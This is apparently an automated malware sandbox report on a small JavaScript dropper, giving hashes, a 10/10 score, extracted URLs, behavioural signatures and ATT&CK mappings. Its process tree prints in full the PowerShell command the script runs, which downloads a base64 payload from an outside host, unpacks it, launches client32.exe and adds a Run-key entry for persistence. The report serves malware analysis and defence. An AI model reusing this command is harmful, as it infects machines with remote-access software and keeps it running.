9719b85d30cae85b2cb9c569b672f4cd5b29fd2fdff2aa152618625ab8069d2c

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
29-08-2023 08:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

465646564656.js
Size

3KB
MD5

b2e9681d62da66752baf77d4a6fc148d
SHA1

4b66cb9661a7a19e8a29035f1127497009bc86a8
SHA256

9719b85d30cae85b2cb9c569b672f4cd5b29fd2fdff2aa152618625ab8069d2c
SHA512

6b8304bf99d02cdf1aab2d7bf21690790b11c3764d4b9eef3bdba4b413a920e8bd3591960f3a69a925a7d7c60a8b5fbd22105e36f912c205677c2c76b9341268

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://instalfrio.cl/destination.txt

exe.dropper

http://instalfrio.cl/destination.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2872	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2872	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 2872	1260	wscript.exe	28
PID 1260 wrote to memory of 2872	1260	wscript.exe	28
PID 1260 wrote to memory of 2872	1260	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\465646564656.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C "$u='http://instalfrio.cl/destination.txt';$6=(New-Object System.Net.WebClient).DownloadString($u);$a=[System.Convert]::FromBase64String($6);$d=[System.Environment]::GetFolderPath('ApplicationData')+'\D';if (!(Test-Path $d -PathType Container)) { New-Item -Path $d -ItemType Directory };$p=Join-Path $d 'p.zip';[System.IO.File]::WriteAllBytes($p,$a);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$d)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $d 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$s=$d+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='X';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2872-4-0x000000001B150000-0x000000001B432000-memory.dmp

Filesize
2.9MB

Download
memory/2872-5-0x00000000025E0000-0x00000000025E8000-memory.dmp

Filesize
32KB

Download
memory/2872-6-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-7-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-8-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-9-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2872-10-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/2872-12-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

Filesize
9.6MB

Download